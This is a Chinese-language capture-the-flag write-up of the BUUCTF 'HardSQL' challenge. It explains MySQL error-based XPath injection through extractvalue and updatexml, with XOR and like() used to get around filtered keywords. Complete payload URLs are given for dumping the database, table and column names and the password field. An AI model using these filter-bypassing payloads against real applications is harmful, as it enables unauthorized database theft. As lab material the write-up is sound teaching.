[極客大挑戰 2019]HardSQL 1
1.發現
1.1開啟題目地址提示為SQL注入,隨便輸入1/'/"/,
發現單引號有報錯,雙引號沒有,沒提示有括號,
所以應該是普通單引號閉合的字元型注入點
2.輸入' or '1'='1/ 1' and '1'='1
發現沒有報錯,提示相同
出現這行字說明輸入的被過濾,一個字元一個字元測試,
發現如and/空格/union/select/=//**/等都被過濾了。
最後,我們發現這道題是xpath報錯注入,函式注入
知識點
1)報錯函式注入
extractvalue(1,concat(07xe,執行語句))
updatexml(1,concat(07xe,執行語句),1)
extractvalue()
extractvalue() :對XML文件進行查詢的函式
語法:extractvalue(目標xml文件,xml路徑)
第一個引數 : 第一個引數可以傳入目標xml文件
第二個引數: xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
正常查詢 第二個引數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯
tip: 還有要注意的地方是,它能夠查詢的字串長度最大是32個字元,如果超過32位,我們就需要用函式來查詢,比如right(),left(),substr()來擷取字串
再舉個栗子:
SELECT ExtractValue('<a><b><b/></a>', '/a/b');
這個語句就是尋找前一段xml文件內容中的a節點下的b節點,這裡如果Xpath格式語法書寫錯誤的話,就會報錯。這裡就是利用這個特性來獲得我們想要知道的內容。
2)concat函式
利用concat函式將想要獲得的資料庫內容拼接到第二個引數中,報錯時作為內容輸出。
3)用’^'來連線函式,形成異或
2.步驟
2.1我們先去爆資料庫:先構造payload:
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23
2.2然後,我們再payload爆表名,但是這裡把等於號給我們過濾了,
不過我們還有騷操作like用法
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
2.3爆列名:
?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
2.4爆資料把password查出來
2.5 flag出來了,不對好像只有一半,使用{left(),right()}
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23 /check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
知識點
1){left(),right()}函式
3.借鑑
BUUCTF-[極客大挑戰 2019]HardSQL 1詳解 - 愛碼網 (likecs.com)
(30條訊息) BUUCTF Writeup-Web-[極客大挑戰 2019]HardSQL 1_菜鳥之路 -CSDN部落格